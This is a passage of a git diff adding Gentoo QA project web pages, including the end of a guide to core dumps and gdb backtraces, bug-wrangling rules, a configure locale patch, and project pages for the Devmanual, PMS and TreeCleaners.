+   Configure standard kernel features ---&gt;
+      Enable ELF core dumps
+</pre>
+
+<p>
+Core dumps can be enabled on the system level or the shell session level. In the
+first case, everything in the system that crashes and does not have already a
+crash handler (see later for more notes about KDE's crash handler) will dump.
+When enabled at shell session level, only the programs started from that session
+will leave behind a dump.
+</p>
+
+<p>
+To enable core dumps on a system level, you have to edit either
+<path>/etc/security/limits.conf</path> (if you're using PAM, as is the default)
+or <path>/etc/limits.conf</path>. In the first case, you must define a limit
+(whether hard or, most commonly, soft; for core files, that might be anywhere from
+0 to no limit). In the latter case, you just need to set the variable C to the
+size limit of a core file (here there's no "unlimited").
+</p>
+
+<pre caption="Example of rule to get unlimited core files when using PAM">
+# /etc/security/limits.conf
+*             soft      core       unlimited
+</pre>
+
+<pre caption="Example of rule to get core files up to 20MB when not using PAM">
+# /etc/limits.conf
+*       C20480
+</pre>
+
+<p>
+To enable core files on a single shell session you can use the <c>ulimit</c>
+command with the <c>-c</c> option. 0 means disabled; any other positive number
+is the size in KB of the generated core file, while <e>unlimited</e> simply
+removes the limit on core file dimension. From that point on, all the programs
+that exit because of a signal like SIGABRT or SIGSEGV will leave behind a
+core file that might be called either "core" or "core.<e>pid</e>" (where pid is
+replaced with the actual pid of the program that died).
+</p>
+
+<pre caption="Example of ulimit use">
+$ <i>ulimit -c unlimited</i>
+$ <i>crashing-program</i>
+[...]
+Abort (Core Dumped)
+$ 
+</pre>
+
+<note>
+The <c>ulimit</c> command is an internal command in bash and zsh. On other
+shells it might be called in other ways or might even not be available at all.
+</note>
+
+<p>
+After you get a core dump, you can run <c>gdb</c> on it, specifying both the path to the
+file that generated the core dump (it has to be the same exact binary, so if you
+recompile, the core dump is useless) and the path to the core file. Once you have
+<c>gdb</c> open on it, you can follow the same instructions given above as it had just
+received the signal killing it.
+</p>
+
+<pre caption="Starting gdb on a core file">
+$ <i>gdb $(which crashing-program) --core core</i>
+</pre>
+
+<p>
+As an alternative, you can use <c>gdb</c>'s command-line capabilities to get the
+backtrace without entering the interactive mode. This also makes it easier to save
+the backtrace in a file or to send it to a pipe of any kind. The trick lies in
+the <c>--batch</c> and <c>-ex</c> options that are accepted by <c>gdb</c>. You
+can use the following bash function to get the full backtrace of a core dump
+(including all threads) on the standard output stream.
+</p>
+
+<pre caption="Function to get the whole backtrace out of a core dump">
+gdb_get_backtrace() {
+    local exe=$1
+    local core=$2
+
+    gdb ${exe} \
+        --core ${core} \
+        --batch \
+        --quiet \
+        -ex "thread apply all bt full" \
+        -ex "quit"
+}
+</pre>
+
+</body>
+
+</section>
+
+<section> <!-- KDE crash handler's notes -->
+<title>KDE crash handler's notes</title>
+
+<body>
+
+<p>
+KDE-based applications runs by default with their own crash handler, which is
+presented by the user by the means of "Dr. Konqi" if it's installed (the
+package is either <path>kde-base/kdebase</path> or <path>kde-base/drkonqi</path>
+(included in <path>kdebase-meta</path>). This crash handler shows the user
+an informative dialog telling him that the program has crashed. On this dialog
+there is a "Backtrace" tab that, when loaded, calls <c>gdb</c> and makes it load the
+data and generate the full backtrace on the behalf of the user, showing it in
+the main text box and allowing it to be saved directly to a file. That backtrace is
+usually good enough for reporting a problem.
+</p>
+
+<p>
+When drkonqi is not installed, the crashes won't generate a core dump anyway,
+and the user will receive no information by default. To avoid this, it's
+possible to use the <c>--nocrashhandler</c> argument on all the KDE-based
+applications. That disables the crash handler entirely and leaves the signals
+to be handled by the operating system as usual. This is useful to generate core
+files when drkonqi is not available or when wanting to inspect stack frames by
+hand.
+</p>
+
+</body>
+
+</section>
+
+<!-- TODO
+     - add notes about GNOME's crash handler
+     - add notes about renaming core dump files
+-->
+
+</chapter>
+
+</guide>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/bug-wranglers/index.xml b/xml/htdocs/proj/en/qa/bug-wranglers/index.xml
new file mode 100644
index 00000000..729e9e5e
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/bug-wranglers/index.xml
@@ -0,0 +1,253 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>Bug Wranglers</name>
+<longname>The Bug Wranglers Project</longname>
+<date>2010-05-26</date>
+<author title="Author">
+<mail link="jer" />
+</author>
+
+<description>
+The Gentoo Bug Wranglers project controls, describes the tasks to be carried out and
+goals to be achieved for everyone who wrangles bugs on Gentoo's bug tracker.
+</description>
+
+<longdescription>
+<p>
+The Gentoo Bug Wranglers project controls, describes the tasks to be carried out and
+goals to be achieved for everyone who wrangles bugs on Gentoo's <uri
+link="http://bugs.gentoo.org/">bug tracker</uri>.</p>
+<p>The project was erected after the de facto resignation of long time <e>Main
+Bug Wrangler</e> Jakub Moc, when it turned out we required a division of labour
+to see all bugs reassigned within an acceptable timeframe (from the moment of a
+bug report's creation to its proper assignment). For his years of relentless
+bug wrangling, this project both owes him its gratitude and earns its
+existence.</p>
+<p>In its current phase, the project now strives to get every bug assigned
+within a day, counting from the moment when enough information has been
+gathered. In the future, the project's aims are to credit developers and users
+who help out, to maintain a list of notable bug wranglers, and to gather yet
+more useful guidelines on this page.
+</p>
+</longdescription>
+
+<goals>
+<p>
+The goal of the Bug Wranglers project is to clarify how new bugs on
+Gentoo's bug tracker should be handled. This document describes the rules to
+bug assignment, CC'ing herd teams, maintainers, the role of metadata.xml and
+<uri link="/proj/en/metastructure/herds/herds.xml">herds.xml</uri>,
+who are bug wranglers and how one should contact them.
+</p>
+</goals>
+
+<dev role="Lead">jer</dev>
+<dev role="Member">jlec</dev>
+<dev role="Member">hwoarang</dev>
+<dev role="Member">Polynomial-C</dev>
+<dev role="Member">wormo</dev>
+<dev role="Member">ssuominen</dev>
+
+<extrachapter>
+<title>Bug Wrangling</title>
+
+<section>
+<title>Assessing Bug Reports</title>
+<body>
+<p>
+How and when you assign a bug report depends on the type of bug report as well as
+correctness and completeness of the bug report.
+</p>
+<ul>
+<li>Bug reports requesting <b>version bumps</b> should be assigned to
+the appropriate maintainers directly. Also check the description of the
+bug for references to security bugs, in which case the bug report should
+be assigned to <mail link="security@gentoo.org">security@gentoo.org</mail>
+immediately, using product "Gentoo Security" and component "Vulnerabilities",
+with the maintainers CC'd.</li>
+<li>Bug reports that say something isn't working or compiling <b>without a
+comprehensive analysis of the causes</b>, should contain at least the output of
+`emerge --info' as well as a thorough description of the problem, including
+error output (or expected versus actual output), the command that led to the
+error or faulty output, and concise steps explaining how to reproduce the
+issue. It is customary to only assign a bug report once these requirements have
+been fulfilled. If the reporter hasn't fulfilled these requirements, the bug
+should be marked <c>ASSIGNED</c> to bug-wranglers, and a full build log should
+be requested from the reporter.</li>
+<li>Bug reports that <b>include patches</b> or other solutions accompanying
+the actual bug description can usually be assigned directly to the maintainers.</li>
+<li>The <c>Summary</c> uniquely identifies the bug that is being reported. As
+there could be several bugs saying that cat/pkg "failed to emerge", it is
+important to at least replace such generic descriptions of an emerge failing
+with a more exact description, noting the ebuild phase that failed or, better
+yet, the first error message that occured.</li>
+<li>Bug reports that refer to a single or a few (similar) packages should
+detail the <b>package atom(s)</b> as completely as possible in the
+<c>Summary</c>, including a version only when other versions do not exhibit the
+bug.</li>
+<li>Bug reports about <b>eclasses</b> should list the full eclass filename in the
+<c>Summary</c>.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Acquiring More Information (and when not to)</title>
+<body>
+<p>Bug reports can quickly get messy from comments and attachments that may or
+may not be appropriate to the bug being reported. Handing over such bug reports
+to the proper assignees is not much fun, and you cannot delete comments or
+attachments that aren't any use (although you can mark the latter as obsolete
+if need be). Since you cannot filter out the information you ultimately hand
+over to the assignee, you will have to make sure you don't just ask for the
+right information, but ask it in the best possible way. Sometimes, it is
+necessary to request that no more information is added. In general, be gentle
+in your verbal assessment of a bug report. Even if you are quite certain that
+it's going to be resolved as <c>INVALID</c>, you should treat the reporter
+<b>courteously</b>.</p>
+<ul>
+<li>If you find that a reported problem arose because <b>the reporter lacks
+certain skills</b> or knowledge, then provide the so-called 'obvious' solution
+to the problem and suggest that he might try that. It is unnecessary to explain
+that you consider the reported problem not to be a bug. Just resolve the bug
+with a <c>TEST-REQUEST</c> (instead of as <c>INVALID</c>) and suggest that the
+reporter tests the solution you provide, and that he reopens the bug only when
+that doesn't solve the problem.</li>
+<li>Assume that the reporter can help but may not know how, without either
+suggesting he may not know how or assuming he does know how. In practice, that
+means you provide the <b>commands that produce the information you require</b>.
+Do so even if the means to that end seem trivial, like asking for `emerge
+--info' or `emerge -vp cat/pkg'.</li>
+<li>Do not assume that the reporter ought to know <b>how to report bugs</b>. An
+omitted `emerge --info' does not call for a public flogging, it simply calls
+for the missing `emerge --info'. Even experienced reporters make mistakes, so
+simply request the information, mark the bug as <c>ASSIGNED</c> and wait for
+the information you requested.</li>
+<li>Bug reports should be concise, as all too quickly they bog down and can
+be best understood after reading, say, nothing but comment #1, #2 and #7,
+ignoring all 40 intermediate and later comments which are the me-toos and
+not-mes (including lots of `emerge --info' and/or hardware collection lists
+that may or may not be relevant). <b>When enough information has been
+presented</b> to 'make a case', it's appropriate to say so.</li>
+<li>Some bugs make your blood boil. Ignore them and let someone else handle
+them.</li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Assigning Bug Reports</title>
+<body>
+<p>
+To assign a bug report to the right people, you will need to find some more
+information, depending on the type of bug report.
+</p>
+<ul>
+<li>If a bug report pertains to a specific <b>package</b>, then you enter the
+package's directory in your copy of the <uri
+link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/">gentoo-x86 CVS
+repository</uri> (or perhaps the online version which should always be more or
+less up to date) and read the <c>metadata.xml</c> file you find there. When
+<c>metadata.xml</c> lists a single maintainer or herd, then you assign the bug
+to that maintainer or herd. When the file lists multiple entries, then you
+assign the bug to the first maintainer, and CC the other maintainer(s) and
+herd(s). If you find that <c>metadata.xml</c> lists inappropriate and/or
+confusing contact information, then make a note of that in a comment on the bug
+report and assign/CC the bug report as optimal as possible.</li>
+<li>In cases where <c>metadata.xml</c> lists a herd which Gentoo Bugzilla
+doesn't know about (which it will ask you to correct before it accepts changes
+to the bug report), you should consult <uri
+link="/proj/en/metastructure/herds/herds.xml">herds.xml</uri> to figure out the
+appropriate e-mail alias for that herd.</li>
+<li>When a bug report calls attention to <b>multiple packages</b>, then things
+become slightly more complicated. When the listed packages do not belong to the
+same maintainer or team, for instance when a library upgrade causes several
+packages to fail to emerge or run, then you should ask the bug reporter to file
+separate bugs assigned to each set of packages' maintainer(s), and make those
+bug reports block the original bug report, which then becomes a <b>tracker
+bug</b> (denoted by the <c>Tracker</c> keyword. Bug reports with many
+maintainers CC'd are known to bog down and never get resolved. Of course, you
+should only create a tracker bug when the bug is confirmed and the solution is
+clear.</li>
+<li>Bug reports that concern <b>eclasses</b> should be assigned to the eclass
+maintainer. To figure out who maintains an eclass, browse to the
+<uri link="http://sources.gentoo.org/viewcvs.py/gentoo-x86/eclass">gentoo-x86/eclass</uri>
+directory, open the file and read who maintains the eclass at the top of the
+file. When an eclass file does not list maintainers, the bug report should
+note this omission and the last committer to that file should be made the
+report's assignee.</li>
+<li>A <b>keyword request</b> should be assigned to the package's maintainer and
+CC'd to the appropriate arch team(s). The report's <c>Keywords</c> field should
+contain the <c>KEYWORDREQ</c> keyword.</li>
+<li>A <b>stabilisation request</b> should be handled by the package's maintainer, so
+you should not CC arch teams in your role as bug wrangler, nor set the
+<c>STABLEREQ</c> keyword in the <c>Keywords</c> field. Unless the package is
+maintainer-needed, then you should add arches and set the Keyword field if the
+bug makes sense.</li>
+<li>Bug reports that concern <b>profiles</b> should be assigned to
+<uri link="mailto:qa@gentoo.org">qa@gentoo.org</uri> with
+<uri link="mailto:release@gentoo.org">release@gentoo.org</uri> CC'd. Exceptions
+are profiles that are obviously maintained by some herd, like hardened, selinux,
+prefix, etc. Those get assigned to the maintaining herd.</li>
+<li>Bug reports that relate to issues other than the portage tree, like
+problems with Gentoo's bugzilla, Gentoo infrastructure, mirrors or staffing
+matters (devrel, userrel and so on) are usually easier to assign. The
+<c>Product</c> and <c>Component</c> fields of each bug should help you
+(re)assign these reports appropriately.</li>
+</ul>
+</body>
+</section>
+
+</extrachapter>
+
+<extrachapter>
+<title>Participating</title>
+<section>
+<body>
+<p>
+All Gentoo developers who can change the <c>Assignee</c> fields of new bugs are
+welcome to help assign bugs to the right developers. Most assignees will
+appreciate it if, in doing so, you follow the rules layed out above.
+</p>
+<p>
+Users are encouraged to assist in wrangling bugs as well. Even without bugzilla
+privileges you can help by reproducing bugs and posting additional information
+where possible.
+</p>
+<p>The best approach to bug wrangling is to really <b>get involved</b> with
+individual bug reports. Do not wrangle bugs if all you want is to shorten the
+list down. Just CC yourself when you are not quite sure you assigned a bug
+report properly or when you requested information. You can always un-CC when
+you find the bug has landed in the right hands.</p>
+<p>Bug-wrangling is an exhausting job. Don't try to do <b>everything</b>. This
+means that you better keep check on the bug reports you responded to and help
+guide them to satisfactory solutions.</p>
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>How to contact us</title>
+<section>
+<title>Via e-mail</title>
+<body>
+<p>
+Please refer to the developer list above.
+</p>
+</body>
+</section>
+<section>
+<title>Via IRC</title>
+<body>
+<p>
+You can find some of us on the Freenode network in <uri link="irc://irc.freenode.net/gentoo-bugs">#gentoo-bugs</uri>.
+</p>
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/qa/bug103483-configure-LANG.patch.txt b/xml/htdocs/proj/en/qa/bug103483-configure-LANG.patch.txt
new file mode 100644
index 00000000..32e7a585
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/bug103483-configure-LANG.patch.txt
@@ -0,0 +1,66 @@
+The LANG vars aren't reset early enough so when sed tries to use [a-zA-Z] in 
+option parsing, it may break.
+
+http://bugs.gentoo.org/103483
+http://bugs.gentoo.org/122216
+http://bugs.gentoo.org/310225
+
+--- configure
++++ configure
+@@ -54,6 +54,19 @@
+ infodir='${prefix}/info'
+ mandir='${prefix}/man'
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then
++    eval $as_var=C; export $as_var
++  else
++    unset $as_var
++  fi
++done
++
+ # Initialize some other variables.
+ subdirs=
+ MFLAGS= MAKEFLAGS=
+@@ -452,16 +463,6 @@
+   esac
+ done
+ 
+-# NLS nuisances.
+-# Only set these to C if already set.  These must not be set unconditionally
+-# because not all systems understand e.g. LANG=C (notably SCO).
+-# Fixing LC_MESSAGES prevents Solaris sh from translating var values in `set'!
+-# Non-C LC_CTYPE values break the ctype check.
+-if test "${LANG+set}"   = set; then LANG=C;   export LANG;   fi
+-if test "${LC_ALL+set}" = set; then LC_ALL=C; export LC_ALL; fi
+-if test "${LC_MESSAGES+set}" = set; then LC_MESSAGES=C; export LC_MESSAGES; fi
+-if test "${LC_CTYPE+set}"    = set; then LC_CTYPE=C;    export LC_CTYPE;    fi
+-
+ # confdefs.h avoids OS command line length limits that DEFS can exceed.
+ rm -rf conftest* confdefs.h
+ # AIX cpp loses on an empty file, so make sure it contains at least a newline.
+@@ -1850,6 +1850,19 @@
+ # Compiler output produced by configure, useful for debugging
+ # configure, is in ./config.log if it exists.
+ 
++# NLS nuisances.
++for as_var in \
++  LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \
++  LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \
++  LC_TELEPHONE LC_TIME
++do
++  if (set +x; test -z "`(eval \$as_var=C; export \$as_var) 2>&1`"); then
++    eval \$as_var=C; export \$as_var
++  else
++    unset \$as_var
++  fi
++done
++
+ ac_cs_usage="Usage: $CONFIG_STATUS [--recheck] [--version] [--help]"
+ for ac_option
+ do
diff --git a/xml/htdocs/proj/en/qa/devmanual.xml b/xml/htdocs/proj/en/qa/devmanual.xml
new file mode 100644
index 00000000..4d65eaa7
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/devmanual.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- vim: set sw=2 sts=2 et -->
+
+<project>
+  <name>Gentoo Devmanual</name>
+  <longname>Gentoo Devmanual</longname>
+  <date>May 24, 2006</date>
+  <author title="Author">
+    <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+  </author>
+  <author title="Editor">
+    <mail link="spb@gentoo.org">Stephen Bennett</mail>
+  </author>
+
+  <description>
+    The Gentoo Devmanual is a technical manual for developers which covers
+    topics such as writing ebuilds and eclasses, and also covers policies
+    that developers should be abiding by.
+  </description>
+
+  <longdescription>
+    <p>
+    The <uri link="http://devmanual.gentoo.org">Devmanual</uri>'s intended
+    audience is Gentoo developers, or those interested in the specifics of
+    Gentoo development.  Topics that are covered include, but are not limited
+    to:
+    </p>
+    <ul>
+      <li>
+        <uri link="http://devmanual.gentoo.org/ebuild-writing/">Ebuilds</uri>
+      </li>
+      <li>
+        <uri link="http://devmanual.gentoo.org/eclass-writing/">Eclasses</uri>
+      </li>
+      <li>
+        <uri link="http://devmanual.gentoo.org/general-concepts/autotools/">Autotools</uri>
+      </li>
+    </ul>
+    <p>
+      The purpose of the Devmanual is to serve as an educational tool and as a
+      policy document for issues concerning the tree.
+    </p>
+  </longdescription>
+
+  <extrachapter>
+    <title>Documentation</title>
+    <section>
+      <body>
+
+        <p>
+          The Devmanual itself can be found at
+          <uri link="http://devmanual.gentoo.org">http://devmanual.gentoo.org</uri>
+        </p>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>How to Contribute</title>
+    <section>
+      <body>
+        <p>
+          If you are interested in contributing to the document, or have
+          suggestions on how we can make the Devmanual better, please
+          read the <uri link="http://devmanual.gentoo.org/appendices/contributing/">
+          Contributing section</uri> or enter a bug in <uri link="http://bugs.gentoo.org">
+          Gentoo Bugzilla</uri>, assigning it to <mail link="qa@gentoo.org">qa@gentoo.org</mail>.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+
+
+</project>
diff --git a/xml/htdocs/proj/en/qa/index.xml b/xml/htdocs/proj/en/qa/index.xml
new file mode 100644
index 00000000..c45bffc9
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/index.xml
@@ -0,0 +1,111 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>qa</name>
+<longname>Gentoo Quality Assurance</longname>
+<description>
+The Quality Assurance Project provides an umbrella project for keeping
+Gentoo's portage tree in a consistent state across all the architectures.
+This means that syntax, dependencies (both compile-time and run-time), 
+file sizes, changelog and metadata entries are all kept up to date and as
+accurate as possible.
+</description>
+
+<longdescription><p>
+The Gentoo Quality Assurance Project aims to keep the portage tree in a consistent
+state.  We work with other teams to address problems found with their packages, and
+create QA policies that reflect the best practices to follow when working on ebuilds.
+In addition to that, we keep up to date technical documentation to assist developers
+with working on packages in the tree, in a general sense.
+</p></longdescription>
+
+<goals>
+<ul>
+  <li>
+    Keep the tree in a state which benefits all of our users and developers alike
+  </li>
+  <li>
+    Create documentation to assist developers
+  </li>
+  <li>
+    Work with other teams to overcome  deficiencies in tools Gentoo uses
+    to better suit the needs of all developers and users
+  </li>
+  <li>
+    Develop QA policies with the interest of improving the quality of Gentoo overall
+  </li>
+</ul>
+</goals>
+
+
+<dev role="Lead">halcy0n</dev>
+<dev role="Member" description="autorepoman">swegener</dev>
+<dev role="Member">tsunam</dev>
+<dev role="Member">solar</dev>
+<dev role="Member">tove</dev>
+<dev role="Member" description="Support Personnel">vapier</dev>
+<dev role="Member">peper</dev>
+<dev role="Member">flameeyes</dev>
+<dev role="Member">scarabeus</dev>
+<dev role="Member">idl0r</dev>
+<dev role="Member">hwoarang</dev>
+<dev role="Member">ssuominen</dev>
+<dev role="Member">darkside</dev>
+
+<!--<subproject ref="/proj/en/qa/something/index.xml"/>-->
+<subproject ref="/proj/en/qa/devmanual.xml"/>
+<subproject ref="/proj/en/qa/pms.xml"/>
+<subproject ref="/proj/en/qa/treecleaners/index.xml"/>
+<subproject ref="/proj/en/qa/bug-wranglers/index.xml"/>
+
+<extraproject name="RepoSuperMan">
+  Repoman is a tool that is used by Gentoo developers to perform pre-commit
+  quality checks. It is available as part of <c>portage</c> package.
+  Sven has taken the code and updated it to perform better and more thorough
+  checks on a tree wide basis.
+</extraproject>
+
+<extrachapter position="bottom"> <!-- I Want to Participate -->
+<title>I Want to Participate</title>
+
+<section>
+<body>
+<p>
+All current and future Gentoo developers should endeavour to be a part of the
+QA project in some fashion. This includes helping to come up with a QA policy,
+as well as doing your part to ensure that your packages meet a certain set of QA
+standards. Additionally, we hope that all Gentoo developers will be co-operative
+in finding and fixing QA issues.  Future and prospective developers can contact
+our <uri link="http://www.gentoo.org/proj/en/devrel">recruiters</uri>.
+</p>
+</body>
+</section>
+
+</extrachapter>
+
+<resource link="/proj/en/glep/glep-0048.html">
+  GLEP 48: QA Team's Role and Purpose
+</resource>
+
+<resource link="/proj/en/qa/asneeded.xml">
+--as-needed introduction and fixing guide
+</resource>
+
+<resource link="/proj/en/qa/automagic.xml">
+Automagic dependencies, what they are and how to fix them
+</resource>
+
+<resource link="/proj/en/qa/autofailure.xml">
+How to fix autotools failures
+</resource>
+
+<resource link="/proj/en/qa/backtraces.xml">
+  How to get meaningful backtraces in Gentoo
+</resource>
+
+</project>
+
+<!-- kate: space-indent on; indent-width 2; replace-tabs on; indent-mode normal; -->
diff --git a/xml/htdocs/proj/en/qa/pms.xml b/xml/htdocs/proj/en/qa/pms.xml
new file mode 100644
index 00000000..991af8dd
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/pms.xml
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- vim: set sw=2 sts=2 tw=100 et : -->
+
+<project>
+  <name>Package Manager Specification</name>
+  <longname>Package Manager Specification</longname>
+  <date>2009-08-21</date>
+  <author title="Author">
+    <mail link="spb@gentoo.org">Stephen Bennett</mail>
+  </author>
+  <author title="Author">
+    <mail link="ferdy@gentoo.org">Fernando J. Pereda</mail>
+  </author>
+  <author title="Author">
+    <mail link="fauli@gentoo.org">Christian Faulhammer</mail>
+  </author>
+
+  <description>
+    The Package Manager Specification aims to document what is required of a Gentoo package manager,
+    and what ebuilds may assume about their environment.
+  </description>
+
+  <longdescription>
+    <p>
+      In the past, the ebuild environment has been defined by what Portage has supported. With the
+      advent of alternative package managers, such a moving standard is no longer sufficient. The
+      Package Manager Specification (PMS) aims to solve this by defining, independent of any package
+      manager, what is and is not allowed in the tree, and what ebuilds may assume about their
+      environment.
+    </p>
+    <p>
+      It is also required to document what each value of the EAPI ebuild variable actually means.
+      At present PMS aims to document all Council-approved EAPIs.
+    </p>
+    <p>
+      A git repository with the document's sources can be found at
+      <uri>http://git.overlays.gentoo.org/gitweb/?p=proj/pms.git;a=summary</uri>.
+      A convenient way to be up to date with the current document is
+      the live ebuild found in the Gentoo repository,
+      called <c><uri link="http://packages.gentoo.org/package/app-doc/pms">app-doc/pms</uri></c>
+      (TeX Live needs to be installed).  Additionally the approved
+      versions are available as ebuilds of that package, too and will
+      install a normal PDF file only.
+    </p>
+  </longdescription>
+
+  <dev role="Lead">fauli</dev>
+  <dev role="Member">tanderson</dev>
+  <dev role="Member">ulm</dev>
+
+  <extrachapter>
+    <title>Developers</title>
+    <section>
+      <body>
+
+        <p>
+          A full list of contributors is included in the document.  Bugs should be reported via our
+          Bugzilla and assigned to <c>pms-bugs@gentoo.org</c>.  To
+          discuss contributions or follow PMS development, please
+          subscribe to the <c><uri link="http://www.gentoo.org/main/en/lists.xml">gentoo-pms</uri></c> mailing list.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter>
+    <title>Generated versions of the document</title>
+    <section>
+      <body>
+
+        <p>
+          Here are links to generated PDF versions of the document to make
+          it easier for some people to read it. Approved versions of
+          the document will be here along with those considered of
+          interest by the PMS editors.
+        </p>
+
+        <dl>
+          <dt><b>Versions approved by the Gentoo Council</b></dt>
+          <dd><uri link="http://dev.gentoo.org/~tanderson/pms/eapi-2-approved">eapi-2-approved-2008-09-25</uri></dd>
+          <dd><uri link="http://distfiles.gentoo.org/distfiles/pms-3.pdf">eapi-3-approved-2010-01-18</uri></dd>
+          <!-- <dt><b>Current HEAD (might not be completely up to date)</b></dt>
+          <dd><uri link="http://dev.gentoo.org/~tanderson/pms/head">pms-head</uri></dd> -->
+        </dl>
+
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/qa/treecleaners/faq.xml b/xml/htdocs/proj/en/qa/treecleaners/faq.xml
new file mode 100644
index 00000000..313fc173
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/treecleaners/faq.xml
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/treecleaners/faq.xml,v 1.2 2007/01/08 00:27:34 masterdriverz Exp $: -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="/proj/en/qa/treecleaners/faq.xml" lang="us">
+<title>Frequence Asked questions about the TreeCleaner Project</title>
+
+<author title="Author">
+  <mail link="antarus@gentoo.org">Alec Warner</mail>
+</author>
+
+<author title="Author">
+  <mail link="masterdriverz@gentoo.org">Charlie Shepherd</mail>
+</author>
+
+<abstract>
+This guide covers questions frequently asked by users of Gentoo Linux
+about the TreeCleaner project.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>0.2</version>
+<date>2007-01-07</date>
+
+<!-- Note: TreeCleaner > treecleaner > Treecleaner -->
+
+<chapter>
+<title>Gentoo TreeCleaner Frequently Asked Questions</title>
+<section>
+<title>I'm a Gentoo Developer. Will TreeCleaners remove my package for me?</title>
+<body>
+<p>Short answer: no. The TreeCleaner project encourages maintainers to remove
+their own packages. If you no longer wish to maintain a package, you should
+consider reassigning it to maintainer-needed, to indicate its unmaintained
+status.
+</p>
+</body>
+</section>
+
+<section>
+<title>TreeCleaners are removing a package I use! What should I do?</title>
+<body>
+<p>Please comment on the removal bug (it should be apparent in the masking).
+If there isn't one, please tell us in #gentoo-treecleaners on irc.freenode.org.
+If you are interested in maintaining the package, you should contact the
+proxy-maintainer project by emailing <mail>proxy-maint@gentoo.org</mail>.
+</p>
+</body>
+</section>
+
+<section>
+<title>What resources do TreeCleaners provide?</title>
+<body>
+<p>TreeCleaners provide some documentation on their policy. We also provide
+some tools to aid package maintainer who wish to mask/remove a package. We
+have an overlay where removed packages are moved to and we hope to have a
+database containing treecleaner information (package removal history etc)
+available soon.
+</p>
+</body>
+</section>
+
+<section>
+<title>Cool. Where can I get these scripts?</title>
+<body>
+<p><uri link="http://dev.gentoo.org/~masterdriverz/mask.py">Here.</uri>
+</p>
+</body>
+</section>
+
+<section>
+<title>How to get files out of the cvs attic</title>
+<body>
+<p>Take a look at
+<uri>http://sources.gentoo.org/viewcvs.py/gentoo-x86/?hideattic=0</uri>
+</p>
+</body>
+</section>
+
+<section>
+<title>I'm a Gentoo dev. I want to fix a maintainer-needed package.
+Do I have to support it forever now?</title>
+<body>
+<p>Not at all. While the 'you clean up your own mess' rule applies, it
+only applies to that commit - you are not expected to look after that
+package any more.
+</p>
+</body>
+</section>
+
+<section>
+<title>I'm a Gentoo dev, and want to join the TreeCleaner project</title>
+<body>
+<p>Great! Please read up on TreeCleaner policy and then drop into
+#gentoo-treecleaners on irc.freenode.org and talk to antarus (project lead).
+</p>
+</body>
+</section>
+
+
+<section>
+<title>I don't understand something in this FAQ!</title>
+<body>
+<p>Please join #gentoo-treecleaners on irc.freenode.org, or mail
+<mail>treecleaner@gentoo.org</mail> if you want clarification on any of
+TreeCleaner's policies, or any decisions that have been made by TreeCleaners.
+</p>
+</body>
+</section>
+
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/qa/treecleaners/index.xml b/xml/htdocs/proj/en/qa/treecleaners/index.xml
new file mode 100644
index 00000000..0252a07e
--- /dev/null
+++ b/xml/htdocs/proj/en/qa/treecleaners/index.xml
@@ -0,0 +1,153 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/qa/treecleaners/index.xml,v 1.45 2010/08/20 12:52:35 beandog Exp $: -->
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
